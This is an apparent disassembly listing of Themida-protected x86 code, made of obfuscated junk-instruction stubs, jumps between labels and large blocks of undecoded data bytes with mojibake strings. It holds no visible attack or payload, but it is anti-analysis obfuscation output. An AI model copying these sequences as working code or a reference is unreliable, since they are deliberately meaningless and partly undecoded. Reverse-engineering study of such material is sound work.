		db 83h
		dd 2C8704C5h, 0FF665C24h, 0D69FE930h, 0D268FFFFh, 5D498219h
		dd 3798ED81h, 0ACE9680Ah, 0FFFFFFD7h, 48B2434h,	5E545624h
		dd 4C681h, 0B9510000h, 3A571972h, 63E9D1F7h, 10000A4h
		dd 0FE895AD7h, 83243C8Bh, 0D6F704C4h, 14F75646h, 24348B24h
		dd 4EC81h, 0F9E90000h, 0B80000A3h, 462A42D6h, 5258C521h
		dd 0ADE9E289h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56022B:				; CODE XREF: Themida_:00565F53j
		push	ebx
		mov	ebx, 776E49E1h
		jmp	loc_56C2BF
; ---------------------------------------------------------------------------
aZrslz		db '[ZRИLZ',0
		align 2
		dw 0BE56h
		dd 4, 0E95EF529h, 0B29Ah, 0E904C483h, 0FFFFD619h
; ---------------------------------------------------------------------------

loc_560254:				; CODE XREF: Themida_:0056DD8Cj
		mov	ebp, ebx
		jmp	loc_5644F3
; ---------------------------------------------------------------------------

loc_56025B:				; CODE XREF: Themida_:0056C191j
		mov	[esp], edx
		push	ecx
		mov	ecx, 3EB377AEh
		mov	edx, 3EB377AAh
		xor	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_569075
; ---------------------------------------------------------------------------
		dw 8953h
		dd 23BBE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560286:				; CODE XREF: Themida_:0056B0A9j
		mov	eax, 12D150A1h
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_57119E
; ---------------------------------------------------------------------------
a0Sa		db '0аИМ',0Ah,0
		align 4
		dd 8B240C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56D75B
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2E932FFh, 53FFFFD5h, 0E95F5B57h, 0FFFFDC15h, 4BEh
		dd 744E900h, 36050001h,	0E951EC24h, 10617h, 64B3C181h
		dd 0F901197Fh, 64B3E981h, 41E9197Fh, 52FFFFE7h,	9F4740BAh
		dd 0AECBE936h, 34FF0000h, 0C4815A24h, 4, 1380E955h, 4870000h
		dd 0D158E924h, 1C330000h, 241C3124h, 5C241C33h,	815E5456h
		dd 4C6h, 4EE8100h, 0E9000000h, 7E91h, 1C78CEB8h, 58C101ABh
		dd 0E3D2E9h, 0EC815000h, 4, 0B2241489h,	0D3EA8069h, 0B551C2FEh
		dd 0FED5F639h, 93B753C5h, 288AC780h, 0FF39E9FDh, 54290000h
		dd 65E90824h, 5900009Eh, 2474FF57h, 48F5F04h, 5C295C24h
		dd 0B8500424h, 3C2632D8h, 9ABA52h, 2AE97C6Bh, 680000C3h
		dd 0F81h, 55241489h, 472055BDh,	83FD8750h, 78E9FFEFh, 8100011Dh
		dd 4C1h, 4E98100h, 0E9000000h, 3C2Ch
; ---------------------------------------------------------------------------

loc_5603B0:				; CODE XREF: Themida_:00564F09j
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_562B1D
; ---------------------------------------------------------------------------

loc_5603C0:				; CODE XREF: Themida_:0056D75Ej
		pop	esp
		mov	[esp], ebp
		push	58A1h
		jmp	loc_563333
; ---------------------------------------------------------------------------

loc_5603CE:				; CODE XREF: Themida_:00571686j
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_562968
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4C4835Ch, 0FFD47CE9h, 48B66FFh, 0E6895624h, 4C681h
		dd 0E9520000h, 0FFFFDFC2h, 295DEE31h, 0B9515EF2h, 1FD11D5Ah
		dd 37C0E9h, 38C38000h, 3E6EE9h,	48B6600h, 0A87EE924h, 0B5BE0000h
		dd 3135DD19h, 0CB895EF1h, 0E92434FFh, 0C3C3h, 0FFE82959h
		dd 34FF2434h, 89575D24h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 218DE95Ch, 0F4BB0000h, 0E93FA476h, 11D1Ch, 0FA0FEB81h
		dd 0C2E95F6Ah, 66000094h, 0B7B353h, 5B66D8h, 0FFB72CF0h
		dd 505A2434h, 405E089h,	83000000h, 0B8E904C0h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_56048F:				; CODE XREF: Themida_:0056B82Bj
		add	ebp, eax
		sub	ebp, 49436199h
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	5BFh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_561E60
; ---------------------------------------------------------------------------

loc_5604B6:				; CODE XREF: Themida_:00562311j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 0F5h
		add	dh, 0FFh
		push	ecx
		push	ax
		mov	ah, 81h
		mov	ch, ah
		pop	ax
		or	dh, ch
		pop	ecx
		jmp	loc_562BA3
; ---------------------------------------------------------------------------
		dd 5704C483h, 1ACDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5604DD:				; CODE XREF: Themida_:0056780Aj
		add	edx, 3576CFACh
		and	esi, edx
		pop	edx
		jmp	loc_5714B6
; ---------------------------------------------------------------------------

loc_5604EB:				; CODE XREF: Themida_:0056D7E1j
		shr	edx, 8
		xor	edx, 647A842Dh
		xor	edi, edx
		pop	edx
		jmp	loc_55E3A3
; ---------------------------------------------------------------------------
		dd 24348759h, 11C09E9h,	24148700h, 1487D2F7h, 2434FF24h
		dd 4C4835Eh, 0A770E9h, 4BE00h, 0B0E90000h, 2900000Dh, 0E9042474h
		dd 9F56h
; ---------------------------------------------------------------------------

loc_56052C:				; CODE XREF: Themida_:0056755Aj
		add	edi, edx
		add	edi, 308C0C73h
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 6D8328A6h
		xor	ebx, 6D8328A2h
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_5725E2
; ---------------------------------------------------------------------------

loc_560551:				; CODE XREF: Themida_:0056FB2Aj
		sub	edi, 60C851B0h
		sub	edx, 50567795h
		add	edx, edi
		add	edx, 50567795h
		jmp	loc_563F25
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048124h, 75484780h, 54242C81h, 8162BE04h, 4179242Ch
		dd 40165DFh, 0BF1CE924h, 0D5F70000h, 82C58145h,	0E9799F68h
		dd 0D6D7h, 0ED81D5F7h, 39482CE2h, 0E902EDC1h, 8110h, 0E953E789h
		dd 66B2h, 5224248Bh, 0B6CAB450h, 58E6307Ch, 80CCC680h
		dd 8E95DEEh
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5605C7:				; CODE XREF: Themida_:0056471Bj
		add	ecx, edx
		sub	ecx, 2C556DC8h
		jmp	loc_56EC67
; ---------------------------------------------------------------------------
		dd 4BEh, 8BF18900h, 0C4832434h,	24448104h, 4756FE04h, 244C0157h
		dd 0FEBE5604h, 29574756h, 5E082474h, 0BE565A59h, 4, 565EF201h
		dd 21BC6851h, 1C890000h, 3551BB24h, 0DBF715DDh,	11E61E9h
		dd 0E9E82900h, 5FE1h
; ---------------------------------------------------------------------------

loc_560620:				; CODE XREF: Themida_:00569DD0j
		xor	eax, esi
		pop	esi
		add	edx, 3093118h
		sub	edx, 7F8E53F1h
		add	edx, 13E02C5Ch
		jmp	loc_563CDD
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 81000000h, 0CF3258C3h, 81CB0173h, 0CF3258EBh, 0E95973h
		dd 100000Eh, 0C8B5DEBh,	37EEE924h, 0E9290000h, 2C81515Dh
		dd 5E1A9F24h, 6BE95E74h, 52000073h, 5C4F09BAh, 0C0BF571Eh
		dd 0F71EE361h, 0A3A0E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560682:				; CODE XREF: Themida_:0056130Ej
		mov	[esp], cx
		jmp	loc_5686F9
; ---------------------------------------------------------------------------

loc_56068B:				; CODE XREF: Themida_:005621C1j
		mov	ecx, 37F94D6Fh
		jmp	loc_55FD6B
; ---------------------------------------------------------------------------

loc_560695:				; CODE XREF: Themida_:00566212j
		or	eax, eax
		jz	loc_563221
		push	dword ptr [edi+1Ch]
		jmp	loc_56D4CA
; ---------------------------------------------------------------------------

loc_5606A5:				; CODE XREF: Themida_:0056B733j
		pop	esp
		sub	ebx, 4
		jmp	loc_5727C8
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4EC8324h, 0D994E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5606BA:				; CODE XREF: Themida_:0055F3DDj
		sub	ebp, 0F7840C89h
		jmp	loc_56391B
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 81h
		dd 0F421A1C9h, 1D306809h, 2C890000h, 0F4E3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5606DA:				; CODE XREF: Themida_:005666BEj
		push	edx
		mov	edx, 2EDF7061h
		sub	edx, 9A3194E1h
		sub	esi, 9580001h
		jmp	loc_568CA3
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 241C8B04h, 8F04C483h, 248B2404h, 0BF2BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560706:				; CODE XREF: Themida_:00562B18j
		pop	esi
		jmp	loc_56CF2B
; ---------------------------------------------------------------------------

loc_56070C:				; CODE XREF: Themida_:0056F19Dj
		add	esp, 4
		push	3384h
		mov	[esp], esi
		jmp	loc_568349
; ---------------------------------------------------------------------------
		dd 715BC405h, 36A90515h, 348B0CABh, 4C48324h, 0BD55E829h
		dd 43024D57h, 0E95DE829h, 7FC4h, 2404895Ch, 1D292AB8h
		dd 6C85E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56074A:				; CODE XREF: Themida_:00562F93j
		add	esp, 4
		jmp	loc_56A364
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 0ABFFC235h, 58C231FDh, 815AD101h, 4E9h, 240C8700h, 0E924248Bh
		dd 3F26h, 0E9240C89h, 47D5h, 0E9242C89h, 58A9h,	24048B5Dh
		dd 0A656E9h, 81EA0100h,	8E3D8CC2h, 793BE972h, 4890000h
		dd 0F0BD5524h, 81111510h, 3D0C2BC5h, 70E95050h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5607AB:				; CODE XREF: Themida_:00562408j
		mov	edx, 1B53E9Eh
		jmp	loc_569752
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 52h
		dd 200BE9h, 55D80100h, 7C1D6856h, 0E95E0A94h, 10D22h, 81241C8Bh
		dd 4C4h, 0BAB75300h, 0C780DFF6h, 5BF808ADh, 0C1287D34h
		dd 0AEB7E958h, 0E2890000h, 4C281h, 52530000h, 2040E950h
		dd 8B660000h, 89512404h, 4F1A68E1h, 4890000h, 652AB824h
		dd 32E97ECFh, 8B0000C7h, 0C4832414h, 63685304h,	89000067h
		dd 0A6E9242Ch
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560827:				; CODE XREF: Themida_:005688D2j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_564B49
		push	5D26h
		mov	[esp], ebx
		push	eax
		mov	eax, 6367798Ch
		jmp	loc_562195
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0EACCE92Ch, 0E789FFFFh, 4C781h, 0BB530000h, 2, 875BDF01h
		dd 248B243Ch, 0DBE2E924h, 0B9510000h, 33E5FECh,	0C8BCF01h
		dd 4C48124h, 56000000h,	155E6852h, 815A6174h, 0FDBFFDF2h
		dd 844CE957h, 0E94E0000h, 77A9h, 801CB551h, 0EB281EC5h
		dd 0E9C3FE59h, 0FFFFDAE3h, 562CEB81h, 5AE952EBh, 8700011Ch
		dd 6FE92414h, 510000B1h, 882B76B9h, 8E9C158h, 0B445E9h
		dd 4C48300h, 3E6668h, 242C8900h, 2BDh, 5DE90100h, 0E9240C33h
		dd 0FFFFE317h, 4EC81h, 3C890000h, 9E95024h, 0BE0000CBh
		dd 0D355423h, 7F05CE81h, 0AFE9259Ah
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560907:				; CODE XREF: Themida_:005690CBj
		pop	esp
		jmp	loc_5715CB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 14F7555Ch, 242C8B24h, 4C481h, 0BB530000h, 1E941F14h
		dd 8102E3C1h, 0B072BDE3h, 0C1B2E936h, 0B5510000h, 0ABF58044h
		dd 1198DE9h
		db 0
; ---------------------------------------------------------------------------

loc_56093D:				; CODE XREF: Themida_:005664ABj
		shl	edi, 4
		jmp	loc_56FF86
; ---------------------------------------------------------------------------
		db 29h,	0EBh, 5Dh
		dd 5AF4BF57h, 0FB01166Fh, 0AD96E9h, 6BF70500h, 4056852h
		dd 0E9645E51h, 91C9h, 0F025BB53h, 0D831E4C1h, 78C2815Bh
		dd 815B5A2Eh, 386438C2h, 59C28135h, 0E93D4223h,	5BF3h
		dd 25E9C181h, 0D101535Ah, 25E9BB53h, 0D929535Ah, 8E95A5Bh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56099B:				; CODE XREF: Themida_:00569053j
		push	ebp
		jmp	loc_561CE8
; ---------------------------------------------------------------------------
		db 87h,	0FDh, 5Fh
		dd 6EF3BF57h, 81473D20h, 0B96810F7h, 1A5E917h, 0EC810000h
		dd 4, 0BD242C89h, 0
		dd 79CEE9h, 1C470900h, 5124048Bh, 662968h, 24248900h, 4240481h
		dd 0E9000000h, 74DDh
; ---------------------------------------------------------------------------

loc_5609E4:				; CODE XREF: Themida_:00565809j
		add	ebx, esi
		pop	esi
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57106A
; ---------------------------------------------------------------------------
		dd 6DEDC781h, 0CF814C99h, 2E154B6Fh, 485C781h, 83E9D0C8h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560A0B:				; CODE XREF: Themida_:00563350j
		xor	esi, edi
		pop	edi
		add	eax, esi
		jmp	loc_5621C6
; ---------------------------------------------------------------------------

loc_560A15:				; CODE XREF: Themida_:005662ACj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_56E4C7
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0B551241Ch, 29C3E9A6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560A32:				; CODE XREF: Themida_:0056CB0Ej
		push	edi
		jmp	loc_56AB01
; ---------------------------------------------------------------------------
		dd 4BA52h, 54010000h, 5E5A0424h, 0A462E9h, 8BF98900h, 0C483243Ch
		dd 59CA0104h, 4C281h, 14870000h, 24248B24h, 6111E9h, 8BF12100h
		dd 3DE92434h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560A6F:				; CODE XREF: Themida_:005674CBj
		push	4C98h
		mov	[esp], esi
		push	eax
		jmp	loc_55F5F5
; ---------------------------------------------------------------------------
		db 68h,	0CDh, 19h
		dd 2C890000h, 1889BD24h, 0BF572660h, 0
		dd 3C81C781h, 62E90460h, 81000016h, 68A1E2EDh, 0FFE9314Ch
		dd 505D2434h, 405E089h,	0E9000000h, 0CB5Ah, 0B8505359h
		dd 59E84811h, 8158C389h, 0D2128CEAh, 57DA0162h,	55BEE9h
		db 0
; ---------------------------------------------------------------------------

loc_560ACD:				; CODE XREF: Themida_:00563567j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		jmp	loc_55FD05
; ---------------------------------------------------------------------------

loc_560AEB:				; CODE XREF: Themida_:0055EDC8j
		sub	edx, 7A32616Ah
		pop	eax
		add	edx, ecx
		add	edx, 75946155h
		pop	ecx
		jmp	loc_55F8BA
; ---------------------------------------------------------------------------
		dd 0C381DBF7h, 5C3F51A5h, 43E1E381h, 0D3F71962h, 129CE9h
		db 0
; ---------------------------------------------------------------------------

loc_560B15:				; CODE XREF: Themida_:0056C062j
		push	edi
		mov	edi, 27FC34ECh
		push	ebx
		mov	ebx, 5D4E03FCh
		inc	ebx
		shr	ebx, 4
		and	ebx, 637B6518h
		xor	ebx, 53B3328Fh
		jmp	loc_562162
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 276F48C7h, 0A4B85010h, 29C7A01Ch, 7A2958C7h,	72875F38h
		dd 2EE94E38h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560B53:				; CODE XREF: Themida_:0056888Ej
		add	esp, 4
		jmp	loc_55F0E4
; ---------------------------------------------------------------------------
aPs4l		db 'PИ4╚',0
		dd 55E08900h, 4BDh, 5DE80100h, 405h, 0F923E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560B76:				; CODE XREF: Themida_:0056CA17j
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, edx
		jmp	loc_562AC9
; ---------------------------------------------------------------------------
aXsph		db 'XИPh',0
		align 4
		dd 46C2B951h, 0DFE9184Ah
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560B93:				; CODE XREF: Themida_:00569AFCj
		add	ebp, edx
		add	ebp, 0D4F6AC1h
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		push	ebp
		push	eax
		mov	eax, 427248B7h
		mov	ebp, eax
		pop	eax
		jmp	loc_560FA5
; ---------------------------------------------------------------------------
		db 58h,	81h, 0F5h
		dd 3EC62BB2h, 33E9E829h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------

loc_560BBF:				; CODE XREF: Themida_:00564183j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ebp
		push	1A62h
		jmp	loc_568D82
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 58h
		dd 1711575h, 58EF81CFh,	55711575h, 0C0155EBDh, 0B0E94531h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560BEB:				; CODE XREF: Themida_:00565917j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_561200
; ---------------------------------------------------------------------------
		db 66h,	2Dh, 5
		dd 6657663Bh, 6660AEBFh, 5F66F829h, 66C82966h, 6660AE05h
		dd 0E93B0505h, 0A1FCh, 24048B5Ah, 8A04C483h, 8802246Ch
		dd 6602247Ch, 56241C8Bh, 0C681E689h, 4,	2C681h,	52E90000h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560C3F:				; CODE XREF: Themida_:00569A46j
		mov	[esp], ecx
		mov	ecx, 4
		push	ecx
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_572064
; ---------------------------------------------------------------------------

loc_560C63:				; CODE XREF: Themida_:00562A01j
		pop	edx
		push	edx
		push	esp
		pop	edx
		push	613h
		jmp	loc_55ED18
; ---------------------------------------------------------------------------
		db 0BBh, 49h, 60h
		dd 0E3C16339h, 0ADCB8105h, 813F5E1Bh, 7E1BABEBh, 61E9817Fh
		dd 0E9650A06h, 32D0h, 0E9240C89h, 0D132h
; ---------------------------------------------------------------------------

loc_560C98:				; CODE XREF: Themida_:00560F64j
		sub	esi, edx
		jmp	loc_55F62E
; ---------------------------------------------------------------------------

loc_560C9F:				; CODE XREF: Themida_:005696D6j
		and	al, ch
		jmp	loc_55F0DB
; ---------------------------------------------------------------------------
		dw 0E7BAh
		dd 0C164F751h, 0BD5504E2h, 0C472A4h, 815DEA09h,	68C10FF2h
		dd 5AD331A8h, 685BDA01h, 4F42h,	4E2E9h
		db 0
; ---------------------------------------------------------------------------

loc_560CCD:				; CODE XREF: Themida_:005628C3j
		pop	esi
		add	esp, 4
		add	esp, 4
		pop	ebp
		not	ebp
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_56F12E
; ---------------------------------------------------------------------------
		db 81h
		dd 0EA16A0C7h, 0C1EF8130h, 8B306E31h, 1D682404h, 0E900005Dh
		dd 6717h
; ---------------------------------------------------------------------------

loc_560CFC:				; CODE XREF: Themida_:0055F24Bj
		add	esi, 0C1477BFh
		jmp	loc_562F98
; ---------------------------------------------------------------------------
		db 8Fh
		dd 27682404h, 0E900002Eh, 0FFFFD83Dh, 477D9BBBh, 0FDE2E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D1E:				; CODE XREF: Themida_:00568AB6j
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 733C33A6h
		neg	ebx
		add	ebx, 179151AAh
		add	ebx, 13ED2A8Dh
		sub	ebx, 0B842488Dh
		add	eax, ebx
		jmp	loc_5688ED
; ---------------------------------------------------------------------------
		dd 0FF04F02Ch, 0C52CC8FEh, 60C380h, 60EB80C3h, 470EE9h
		dd 48B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55E2FD
; ---------------------------------------------------------------------------
		db 0BEh, 4Bh, 5Eh
		dd 0EE8134C4h, 0C583FF52h, 1B45C381h, 0F3290583h, 0F02E9h
		db 0
; ---------------------------------------------------------------------------

loc_560D7D:				; CODE XREF: Themida_:0056989Ej
		mov	cl, dl
		jmp	loc_562D8D
; ---------------------------------------------------------------------------
		dd 0FFCAE4E9h, 0CB2858FFh, 0E9C32859h, 7D74h, 0C681CE29h
		dd 68EE38C3h, 5EF03159h, 48BC789h, 4C48124h, 1000000h
		dd 243C8BFBh, 4C481h, 6BE90000h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560DBB:				; CODE XREF: Themida_:0056D4D6j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 6270C8Ch
		push	eax
		mov	eax, 7FE30BCFh
		add	ecx, eax
		jmp	loc_567F5F
; ---------------------------------------------------------------------------
		dd 0B9h, 0E9D90100h, 0D362h
; ---------------------------------------------------------------------------

loc_560DEC:				; CODE XREF: Themida_:00564978j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7E27h
		jmp	loc_565037
; ---------------------------------------------------------------------------

loc_560E02:				; CODE XREF: Themida_:005712A1j
		mov	edi, 5EF473F0h
		and	ebp, edi
		pop	edi
		xor	ebp, 35FF2F23h
		sub	ebp, 1BE452FFh
		sub	ebp, 1C1B1B40h
		add	edi, 0A7E12FDh
		jmp	loc_568099
; ---------------------------------------------------------------------------

loc_560E27:				; CODE XREF: Themida_:00561A60j
		push	ebp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_56FAE5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 2AE92404h, 81FFFFCAh, 4C3h, 0F4C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560E4E:				; CODE XREF: Themida_:005652E9j
		mov	eax, [esp]
		push	478Ch
		mov	[esp], ebx
		jmp	loc_562032
; ---------------------------------------------------------------------------
		dw 0AE9h
		dd 81FFFFCAh, 4C4h, 4EC8100h, 89000000h, 99BD242Ch, 0E93FC40Ch
		dd 0C90Ch, 52E9F089h, 1000059h,	5F04247Ch, 0E034E9h, 4E6C000h
		dd 5FE9EED0h, 890000CCh, 0FE2958C6h, 80A2E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560EA2:				; CODE XREF: Themida_:00566688j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_56175B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHit		db '$hКt',0
		align 2
		dw 0BCE9h
		dd 81000110h, 0B609E7EEh, 240C8B57h, 0A140E9h
		db 0
; ---------------------------------------------------------------------------

loc_560ECD:				; CODE XREF: Themida_:0056C104j
		pop	ebx
		pop	edx
		push	esi
		mov	esi, 74306C32h
		shl	esi, 4
		and	esi, 2EDA2C01h
		not	esi
		add	esi, 2020005h
		sub	edx, 21D237B0h
		add	edx, esi
		add	edx, 21D237B0h
		mov	esi, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, 65203F30h
		not	esi
		inc	esi
		push	705Bh
		mov	[esp], ebp
		mov	ebp, 737D8DFDh
		add	esi, 15E7367Bh
		add	esi, ebp
		jmp	loc_56C9F8
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0DE00E9h
		db 0
; ---------------------------------------------------------------------------

loc_560F31:				; CODE XREF: Themida_:00571840j
		push	edx
		mov	edx, 3B8B19DAh
		mov	ebx, 7C8901C3h
		xor	ebx, edx
		jmp	loc_566037
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	1AE99C24h, 80FFFFC9h, 0F5E918C3h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560F5B:				; CODE XREF: Themida_:0055FEC3j
		xor	ebp, 25E8AC01h
		mov	edx, ebp
		pop	ebp
		jmp	loc_560C98
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 2568241Ch, 8B3C526Bh, 0C481241Ch,	4, 0AEB25ABDh
		dd 5BDD0130h, 0E907E5C1h, 0AF2Ah, 96468h, 25A2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560F9A:				; CODE XREF: Themida_:0056DD6Dj
		xor	ecx, 4C346E1Dh
		jmp	loc_56A791
; ---------------------------------------------------------------------------

loc_560FA5:				; CODE XREF: Themida_:00560BACj
		or	ebp, 3E8858E2h
		push	eax
		jmp	loc_56C584
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 7Fh
aA_CsS		db '─н.пФИ',0Dh,'s',0
		align 2

loc_560FBE:				; CODE XREF: Themida_:00568B03j
		add	ecx, 4
		jmp	loc_56DAD8
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 0E9465959h, 0FFFFDA31h, 592DE801h, 5D4B8107h, 68318E2Dh
		dd 0F3BB533Ch, 0F72B3A52h, 0CEE381D3h, 8150130Fh, 0EA3F2EE3h
		dd 0BDF3814Fh, 0E925BE2Dh, 9641h, 4240483h, 5E2434FFh
		dd 4EC8150h, 89000000h,	4812424h, 424h,	24048B00h, 4C481h
		dd 0EC810000h, 4, 0BB241C89h, 4, 555BD801h, 4BDh, 8BE80100h
		dd 8951242Ch, 7A20E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561042:				; CODE XREF: Themida_:0056EF51j
		sub	al, 0
		mov	ch, al
		pop	eax
		sub	ch, 0BEh
		shr	ch, 4
		jmp	loc_569890
; ---------------------------------------------------------------------------

loc_561052:				; CODE XREF: Themida_:00562633j
		dec	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 96229CADh
		jmp	loc_567B13
; ---------------------------------------------------------------------------
aXqsA		db 'XQSЁ╣╣М',0
		dw 0E9DDh
		dd 0FFFFE907h
; ---------------------------------------------------------------------------

loc_561074:				; CODE XREF: Themida_:0056392Cj
		sub	ecx, edx
		jmp	loc_567056
; ---------------------------------------------------------------------------
		db 5
		dd 4, 5C240487h, 8B24048Fh, 7FE92424h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56108F:				; CODE XREF: Themida_:00569EEAj
		dec	edi
		add	edi, 3936C08Ah
		add	ebx, edi
		pop	edi
		sub	ebx, 9C320EDh
		add	ebx, edi
		add	ebx, 9C320EDh
		push	edx
		push	edi
		jmp	loc_56D51A
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 2474FF55h,	2434FF04h
		dd 5D2434FFh, 5E08950h,	4, 0CDC2E951h, 5BBDFFFFh, 1549C41h
		dd 0EC835DE8h, 240C8904h, 404B5E68h, 0C8315932h, 81240C8Bh
		dd 4C4h, 8BC10100h, 0C4832404h,	975BE904h, 0E5BD0000h
		dd 0F726E869h, 0F7D5F7D5h, 0BD92E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561116:				; CODE XREF: Themida_:00569C94j
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_568A8E
; ---------------------------------------------------------------------------

loc_561126:				; CODE XREF: Themida_:00561FA5j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56539F
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0B6h
		dd 8734FFC0h, 2A242C81h, 58537564h, 1A47BF57h, 0BB530C9Fh
		dd 0FFFFFFFFh, 815BDF01h, 98093BF7h, 0F7814767h, 2677727Ah
		dd 512ECF81h, 0EF81289Ah, 1A850D04h, 346768h, 0F5FEE900h
		dd 0D3F6FFFFh, 0E904E3C0h, 0A38Dh, 0E9241489h, 6FCh, 0BA52565Fh
		dd 6B57728Eh, 7637CA81h, 0E2C11A4Bh, 4AD2F702h,	14E4C281h
		dd 47680942h, 0E9000070h, 0D79Ah
; ---------------------------------------------------------------------------

loc_5611A8:				; CODE XREF: Themida_:0056949Cj
		mov	ch, 0CAh
		jmp	loc_566CEF
; ---------------------------------------------------------------------------
		db 89h
		dd 4BB241Ch, 81000000h,	1651FC2h, 81DA2952h, 1651FEAh
		dd 3BE95B52h, 89000097h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 0E067E9h, 241C8700h,	68h, 241C2900h,	241C875Bh, 2EAC15Ah
		dd 0AB68D2F7h, 0E9000063h, 1D16h
; ---------------------------------------------------------------------------

